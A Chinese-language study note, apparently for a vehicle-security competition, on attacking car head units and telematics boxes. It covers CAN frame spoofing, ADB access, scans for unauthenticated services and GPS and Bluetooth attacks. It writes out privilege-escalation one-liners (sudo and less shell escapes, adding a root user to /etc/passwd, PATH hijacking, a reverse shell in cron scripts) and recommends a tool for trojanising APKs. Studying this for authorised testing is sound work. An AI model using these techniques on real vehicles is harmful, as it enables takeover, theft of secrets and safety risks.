1 | 云端服务器 / 手机APP |
车机是一个硬件设备;IVI(In-Vehicle Infotainment)是车机里面负责信息娱乐的软件/系统。
TBOX:车载远程通信终端,车的联网盒子,负责车辆 ↔ 云端 ↔ 手机APP
负责4G/5G,通信GPS定位,远程控车,上报车辆状态,接收云端命令
can
CAN:ECU平时交换状态和控制消息。
因为CAN设计年代比较早,目标是可靠通信,没有身份验证,
can报文 广播
1 | 123#1122334455667788 |
如果一个恶意设备接入CAN,它也可能监听所有消息,或者伪装成车门ECU发送同样的报文。
ID越小优先级越高
监测实操
接好 USB-CAN 后,Kali 里应该能看到:
1 | ip link |
里面多出:can0
修改can参数
1 | sudo ip link set can0 down |
然后抓:
1 | candump -tz can0 |
如果有数据,会看到类似:
1 | can0 123 [8] 11 22 33 44 55 66 77 88 |
伪造发包
1 | cansend can0 188#0000000000000000 |
DoIP
DoIP = 车里的“网线版诊断接口”
1 | 手机热点:192.168.43.1 |
这时电脑可以试着扫:
1 | nmap -sn 192.168.43.0/24 |
如果扫到:
1 | 13400/tcp open |
那可以怀疑:
1 | 车机或网关暴露了 DoIP |
但现实里,这种通过手机热点直接扫到 DoIP 的概率不高,因为手机热点更多是给车机上网,不一定能通到车辆诊断网络。
1 | 车机 192.168.0.10 |
adb


ADB(Android Debug Bridge)进入的是Android系统里的一个调试入口
根据实际情况,要先打开车的adb调试模式
在车机中打开开发者选项:设置 → 关于设备 → 连续点击版本号 7 次
进入 开发者选项,开启USB 调试
有线连接
用支持数据传输的 USB 线连接电脑,优先尝试车机标注为 USB/OTG/调试 的接口。
电脑安装 Android SDK Platform-Tools,然后执行:
1 | adb kill-server |
车机屏幕出现 RSA 授权提示时选择“允许”。看到类似下面的结果即连接成功:
1 | xxxxx device |
如果显示 unauthorized,解锁车机并确认授权;如果没有设备,检查数据线、驱动、USB 接口及车机是否仅支持 Android Auto。部分车机不开放 USB ADB,只能在同一局域网下通过网络 ADB 连接:
TCP无线调试
先查找IP
- 车机设置中查看
设置 → WLAN/Wi-Fi → 当前连接的热点 → 详细信息,查看 IP 地址。- 手机热点查看已连接设备
打开手机热点页面,查看已连接设备列表,有些手机会直接显示车机 IP。- 路由器/热点管理页面查看
查看 DHCP 客户端列表,找到车机名称或 MAC 地址。- 电脑查看局域网设备
Windows 执行:
1
2 >ipconfig
>arp -a找到与电脑处于同一网段的未知设备 IP,再尝试:
1
2 >adb connect 192.168.43.25:5555
>adb devices前提是车机已启用 网络 ADB/TCP 5555。如果连接失败,可能是车机未开启无线调试、热点启用了客户端隔离,或车机使用的端口不是
5555。
同一个局域网,常见端口是5555
1 | nmap -p 5555 192.168.43.9/24 |
之后执行连接操作
1 | adb connect 192.168.1.23:5555 |
出现ABC123 device代表成功连接
之后调试
1 | adb shell |
普通ADB权限一般是:uid=2000(shell)
高权限调试版本可能是:uid=0(root)
若显示
1 | 192.168.1.23:5555 unauthorized |
需要在车机上确认 RSA 授权弹窗:是否允许此计算机进行USB调试?
确认后再次执行:
1 | adb devices |
新型无线调试
是 Android 11 及以上常见的 ADB 连接方式。它通常需要先配对,再连接:
- 车机打开:
开发者选项 → 无线调试 - 选择“使用配对码配对设备”,记下:
- 车机 IP
- 配对端口
- 6 位配对码
- 电脑执行:
1 | adb pair 192.168.1.23:37099 |
按提示输入配对码。
- 回到无线调试页面查看“IP 地址和端口”,再连接:
1 | adb connect 192.168.1.23:42135 |
这里的 37099 和 42135 只是示例,实际端口以车机显示为准。传统 TCP ADB 才常用固定端口 5555,例如:
1 | adb connect 192.168.1.23:5555 |
漏洞探查
1 | ADB入口 |
第一步:确认权限:
1
2 >id
>whoami
1 >root/shell/system?第二步:系统信息:
1
2 >uname -a
>getprop第三步:查看:
1
2
3
4 >/system#核心
>adb pull xxx.apk
>/vendor#厂家代码
>/data#用户数据看看APK/so/配置/密钥
第四步:找服务:
1 >ps -ef看:root运行服务
第五步:看车辆接口:找车机和车辆其他模块怎么通信
1
2
3 >ip addr
>ifconfig
>ls /dev寻找:
1
2 >can0
>ttyUSB
抓取实时日志
1 | adb shell logcat -c#删除之前的 |
未授权服务
确认当前权限和系统
1 | adb shell |
查看车机本机监听的端口
1 | ss -lnt |
如果没有 ss:
1 | netstat -lnt |
重点记录类似:
1 | 0.0.0.0:8080 |
含义:
0.0.0.0:8080:可能对局域网开放192.168.1.23:8080:绑定车机网卡,可能对局域网开放127.0.0.1:8080:只允许车机本机访问
从车机本机做低影响访问测试
如果车机有 curl:
1 | curl -i --max-time 5 http://127.0.0.1:8080/ |
如果没有 curl,可以先在电脑上测试:
1 | curl.exe -i http://车机IP:8080/ |
- 判断是否需要认证
200 OK:页面无需认证即可访问,值得进一步审计401 Unauthorized:要求认证403 Forbidden:服务存在但拒绝当前请求404 Not Found:服务存在,但路径不对- 连接失败:可能只监听回环地址、被防火墙阻止或服务已停止
linux提权
SUID提权
寻找高权限二进制文件
核心思路:在车机系统中,寻找被错误地设置了SUID权限的可执行文件。如果该文件允许执行命令或加载外部库,就能劫持它来获取root shell。
车机应用:
- 信息收集:使用
find / -perm -u=s -type f 2>/dev/null命令扫描车机。
- 信息收集:使用
- 常见目标:车机上可能存在用于系统维护、日志收集或硬件调试的定制二进制程序,这些是首要检查目标。
- 利用:如果发现
find、cp、mount等命令具有SUID权限,即可直接利用(如find . -exec /bin/sh \;)。对于自定义程序,可尝试参数注入或路径劫持。
- 利用:如果发现
Sudo提权
滥用配置不当的sudo规则
核心思路:车机开发或测试人员可能为了方便,在 /etc/sudoers 中配置了无需密码即可以root身份运行特定命令的规则。
车机应用:
- 检查配置:执行
sudo -l查看当前用户无需密码即可运行的命令。
- 检查配置:执行
- 利用:如果发现可以无密码运行
python、perl、less、vi、tar等,即可直接提权。
- 利用:如果发现可以无密码运行
sudo python -c 'import os; os.system("/bin/sh")'
sudo less /etc/hosts→ 在less中输入!bash
内核漏洞提权
利用系统底层漏洞
核心思路:车机系统内核版本往往滞后且长期不更新,存在公开的提权漏洞(如经典的Dirty Cow)。
车机应用:
- 信息收集:使用
uname -a查看内核版本和系统架构。
- 信息收集:使用
- 寻找Exp:根据内核版本,在Kali的
searchsploit或GitHub上搜索对应的提权Exp。
- 寻找Exp:根据内核版本,在Kali的
- 交叉编译与执行:将Exp源码通过交叉编译工具链编译成车机架构(通常是arm/arm64)的可执行文件,然后上传到车机执行。这是最直接、最有效的root手段之一。
Cron Jobs提权
利用定时任务
核心思路:利用以root权限运行的定时任务脚本的弱点。
车机应用:
通配符注入:如果定时任务中使用
tar *等带通配符的命令打包文件,可以在该目录下创建以命令行参数命名的文件(如--checkpoint=1)来执行任意命令。脚本覆盖:如果发现一个以root权限运行且普通用户有写权限的脚本文件,可以直接修改该脚本,插入反向Shell等命令,等待定时任务执行。
环境变量劫持
PATH滥用
核心思路:利用SUID程序在调用系统命令(如 cat、id)时,是从 PATH 环境变量中查找路径的这一特性。
车机应用:
- 找到一个调用了系统命令的SUID程序(例如一个自定义的日志查看工具)。
- 编写一个与它所调用的命令同名的恶意程序(如
/tmp/cat)。
- 编写一个与它所调用的命令同名的恶意程序(如
- 通过
export PATH=/tmp:$PATH将/tmp目录置于系统路径最前。
- 通过
- 运行该SUID程序,它会优先执行位于
/tmp的恶意程序,从而以root权限获得Shell。
- 运行该SUID程序,它会优先执行位于
/etc/passwd 提权
接添加用户
核心思路:如果 /etc/passwd 文件意外地具有写权限,可以直接添加一个密码为空的root用户。
车机应用:
- 检查权限:
ls -l /etc/passwd
- 检查权限:
- 生成密码:使用
openssl passwd -1或mkpasswd生成一个密码哈希。
- 生成密码:使用
- 添加用户:将
test:generatedhash:0:0:root:/root:/bin/bash追加到/etc/passwd文件中。
- 添加用户:将
- 切换用户:使用
su test并输入密码,即可获得root权限。
- 切换用户:使用
实战情况是在进入adb 模式后,尝试搜索suid文件提权,发现后门文件,尝试执行,成功提权root
扫描TCP未授权服务
比赛里你要这样判断它是不是漏洞:
第一步,发现服务:
1 | nmap -sn 192.168.1.0/24#扫活着的设备 |
看到:
1 | 20000/tcp open |
只能说明端口开了。
第二步,连接服务:
1 | nc 目标IP 20000 |
如果进去后有 console,说明服务可交互。
第三步,看是否鉴权:
如果它没有问:
1 | username: |
而是直接让你输入命令,那就是未授权访问。
第四步,看命令能力:
1 | help |
如果 help 里有控制类、文件类、配置类命令,那就危险。
第五步,确认影响:
比如能不能:
- 读设备信息;
- 下载配置;
- 上传文件;
- 修改分辨率;
- 修改相机矩阵;
- 修改 PTS 侧边告警;
- 修改倒车辅助逻辑。
做到这里,就不是普通信息泄露了,而是:
1 | 未授权访问 + 高权限调试接口暴露 + 车辆感知/辅助功能可被篡改 |
GPS欺骗
GPS欺骗(GPS Spoofing)是指攻击者通过发送伪造的GPS卫星信号,使GPS接收设备错误计算自身的位置、速度或时间信息。
GPS正常工作时,接收机通过接收多颗卫星发送的时间和位置信息,利用信号传播时间差计算当前位置。GPS欺骗通过模拟真实卫星信号,使接收机无法区分真实信号和伪造信号,从而输出攻击者指定的位置。
GPS欺骗与GPS干扰(Jamming)的区别:
- GPS干扰:发送噪声阻断真实GPS信号,使设备无法定位。
- GPS欺骗:发送伪造GPS信号,使设备得到错误但看似正常的定位结果。
在车联网系统中,GPS模块通常集成在TBOX中,GPS数据经过TBOX处理后上传云端或提供给车辆系统使用。攻击者可以通过GPS欺骗改变车辆的定位信息,导致云端平台、车辆追踪、导航系统等产生错误数据。
GPS欺骗的主要风险:
- 车辆位置被伪造;
- 轨迹记录出现异常;
- 远程车辆管理系统收到错误位置信息;
- 依赖GPS的导航和定位功能受到影响。
常见检测方法:
- 检查GPS位置是否存在不符合车辆运动规律的跳变;
- 对比GPS数据与CAN总线中的车速、轮速等车辆状态信息;
- 融合IMU、摄像头、高精地图等其他传感器进行交叉验证。
GPS欺骗攻击的核心问题是攻击GPS数据的可信性,而不是直接控制车辆。与CAN注入相比,GPS欺骗主要影响车辆定位和数据服务,而CAN注入主要影响车辆控制功能。
攻击者通过发送伪造的卫星导航信号,让 GPS 接收设备计算出错误的位置、速度或时间。

蓝牙控制:star:
蓝牙 HID 未授权按键注入。攻击设备伪装成蓝牙键盘,目标系统没有正确要求配对/绑定授权,就接受了键盘输入,于是攻击者可以“远程按键”。如果这些按键打开浏览器、输入 URL、打开终端、执行命令,就表现成“零点击代码执行”。
1 | 伪装蓝牙键盘 -> 目标接受连接 -> 发送按键 -> 系统当成真实键盘输入 -> 触发操作 |
具体流程
1 | [启动车机] |
APK安全
首先要知道如何拿到车机中的apk
在已由车企/供应商开启并授权的 USB 调试测试车机上,可直接用电脑导出指定已安装应用:
1 | adb devices |
找到包名后,例如 com.example.headunit:
1 | adb shell pm path com.example.headunit |
会返回类似:
1 | package:/data/app/~~xxx/com.example.headunit-xxx/base.apk |
将该路径复制到电脑当前目录:
1 | adb pull "/data/app/~~xxx/com.example.headunit-xxx/base.apk" ".\headunit.apk" |
若 pm path 返回多条 split_*.apk,说明是拆分 APK;应将每一条都分别导出,不能只取 base.apk。
导出后核验:
1 | Get-FileHash .\headunit.apk -Algorithm SHA256 |
注意:不要尝试绕过未开启的 USB 调试、安装限制或访问控制;没有授权调试通道时,应让车企/供应商通过研发工具导出目标包。
信息泄露
网络流量
无线网卡抓包
- 插上 USB 无线网卡
插到电脑 USB 口。
如果系统提示安装驱动,就安装官方驱动。
- 电脑先连手机热点
用电脑自带 Wi‑Fi 连接你的手机热点,保证电脑可以上网。
- 打开 Windows 移动热点
路径:
1 | 设置 → 网络和 Internet → 移动热点 |
设置:
1 | 共享我的 Internet 连接来源:手机热点对应的 WLAN |
然后点开启。
如果能选择“通过哪个网卡发热点”,优先选 USB 无线网卡。
- 设置热点名和密码
例如:
1 | 热点名:car_test |
建议选 2.4GHz,因为车机兼容性更好。
- 车机连接这个热点
车机 Wi‑Fi 设置里连接:
1 | car_test |
连接成功后 Windows 页面会显示:
1 | 已连接的设备:1 台 |
- 打开 Wireshark 抓包
选择对应接口:
1 | USB 无线网卡 |
如果不知道选哪个,看哪个接口流量在跳。
- 过滤车机流量
先查车机 IP:
1 | ipconfig |
通常热点网段是:
1 | 192.168.137.x |
Wireshark 过滤:
1 | ip.addr == 192.168.137.x && http |
看 HTTP:
1 | http |
看 DNS:
1 | dns |
看 HTTPS 域名:
1 | tls.handshake.extensions_server_name |

adb直接在车机内部抓:
进去后看有没有 tcpdump:
1 | which tcpdump |
没有可以尝试上传
1 | adb push tcpdump /data/local/tmp/ |
然后车机给他赋个权限
如果有:
1 | tcpdump -i any -s 0 -w /sdcard/car.pcap |
在车机上操作,比如打开地图、账号、音乐、设置、联网功能,然后 Ctrl+C 停止。
退出后拉出来:
1 | adb pull /sdcard/car.pcap . |
用 Wireshark 打开:
1 | wireshark car.pcap |
本地存储敏感信息
先看可访问目录
1 | adb shell ls -la /sdcard/ |
重点目录:
/sdcard/Android/data/<包名>/files//sdcard/Download//sdcard/DCIM//sdcard/Documents/- 应用导出的日志、备份、数据库、
.json、.xml、.txt、.db文件
搜索敏感关键词
1 | adb shell grep -RniE "token|apikey|api_key|secret|password|passwd|authorization|bearer|cookie|session|jwt|手机号|身份|key" /sdcard 2>/dev/null |
检查日志
1 | adb logcat -d | findstr /i "token password authorization bearer session api_key" |
看是否把登录密码、JWT、Cookie、接口响应、手机号或身份证等写入日志。
检查应用自身数据
仅适用于可调试应用:
1 | adb shell run-as com.example.app ls -la files shared_prefs databases cache |
重点看:
shared_prefs/*.xml:登录态、Token、用户资料、开关配置databases/*.db:SQLite 用户表、聊天记录、缓存接口响应files/、cache/:导出的文件、图片、WebView 内容、下载缓存no_backup/:本不应被备份但仍可能包含敏感状态的数据
检查 APK 静态配置
1 | adb pull /path/to/app.apk |
反编译后搜索:
- 写死的 API Key、第三方云服务凭据
- 测试账号、测试环境地址
- 调试接口、内部域名
android:allowBackup="true"、android:debuggable="true"
判断是否为问题,核心看敏感信息是否以明文保存在外部存储、日志、可备份数据或不受权限保护的组件中,以及这些信息能否被低权限应用或拿到 ADB 的人读取。
应用缓存
例如:cache/
有些 App 会把:
1 | HTTP响应 |
缓存下来。
比如:weather_cache.json
里面:
1 | { |
同样可能造成敏感信息泄露。
Native.so文件
APK:
1 | lib/ |
有些开发者会把:API Key/服务器地址/加密Key/协议Key
硬编码到 C/C++ Native代码。
可以:strings libweather.so
例如:
1 | api.weathercn.com |
然后再用IDA/Ghidra分析引用位置。

某些应用传输信息可能是明文,导致信息泄露
在车载平板天气应用中发现API密钥明文传输漏洞,导致付费天气服务API密钥暴露,可能造成经济损失和服务滥用。
车机存在任意文件安装,或者白名单,导致可以进行安卓欺骗攻击等
任意软件安装
检测使得否允许恶意软件
USB / 文件管理器
- 将测试 APK 放入 FAT32 格式 U 盘根目录。
- 插入车机 USB 口,打开系统自带“文件管理器/媒体浏览器/下载管理”。
- 查找
.apk文件是否可见、点击后是否弹出安装器。- 记录是否要求:
- 开启“允许此来源安装应用”;
- 输入密码或进入管理员模式;
- APK 签名/包名在白名单中;
- 系统明确拒绝安装。
**风险证据:**普通用户插入 U 盘即可对任意自签名 APK 发起并完成安装。
浏览器下载
- 在车机浏览器访问你控制的测试下载页面,下载测试 APK。
- 打开下载完成通知或“下载”目录。
- 点击 APK,观察系统是否允许进入安装流程。
- 重点看浏览器是否被授予“安装未知应用”权限,以及安装器是否验证签名来源。
**风险证据:**下载的非官方 APK 可被直接安装,无身份验证、签名白名单或来源约束。
蓝牙 / Wi‑Fi 文件传输
- 使用手机向车机发送同一测试 APK,或通过车机允许的局域网文件传输功能传入。
- 确认文件落地目录,例如“接收文件”“Download”。
- 从该目录打开 APK,记录是否能调用系统安装器。
- 测试完成后删除文件并卸载测试 APK。
**风险证据:**任意配对设备可向车机投递 APK,且车机可无约束安装。
应用商店与第三方商店
- 检查系统是否只有官方商店,还是允许安装第三方商店客户端。
- 对官方商店:确认上架应用是否必须经过签名、账号、车型/区域适配校验。
- 对第三方商店:只验证其安装包能否被安装,不下载或安装带系统工具、调试工具的应用。
- 观察是否存在“开发者渠道”“测试渠道”“企业分发”等未受限入口。
**风险证据:**可安装不受车企控制的软件分发渠道,且该渠道能继续安装任意 APK。
OTA / 本地升级包
- 进入“系统更新/软件更新”,仅查看是否存在“本地升级”“从 USB 更新”等选项。
- 记录系统对升级包的提示:是否显示版本、签名、车型匹配、校验结果。
- 不要导入或刷写未知升级包;这里的目标是确认是否有完整性和签名校验提示。
**风险证据:**本地更新入口接受未签名、型号不匹配或来源不明的包。
维护菜单 / 工程模式
- 从车机设置、关于页面、售后维护入口中查看是否存在工程模式。
- 只记录进入条件:是否需诊断账号、物理介质、一次性授权或维修工具认证。
- 若菜单中有“USB 安装、调试、日志导出、开发者选项”等项目,仅截图记录其默认状态;不要开启或修改。
**风险证据:**普通用户无需认证即可进入维护菜单,并开启应用安装或调试能力。
最终把每个入口的结果归为三类:
- **安全:**安装被签名/白名单/认证策略拒绝;
- **待确认:**可进入安装器,但尚未完成安装;
- **高风险:**非官方、自签名测试 APK 被普通用户成功安装并启动。
msf注入apk捆板木马
520ApkHook 是一款由 Java 编写的专业工具,它主要用于将安卓远程控制应用(Apk)嵌入到常规的Android应用程序中。当生成的新应用运行时,原应用能够正常运作,同时远程控制功能亦能无缝上线。此项目由 BaoGuo 开发,旨在提供一种方式绕过应用的安全检查,并具备加载远程控制组件的能力。
详细安装操作可以参考富礼照Lolita师傅文章
脚本提权限
下载python等软件进行提权和越权执行了
权限提升路径:
1 | 任意软件安装 → 系统工具获取 → 漏洞利用 → 权限提升 |
示例脚本:
1 | # 通过安装的Python执行系统命令 |
或者其他提权脚本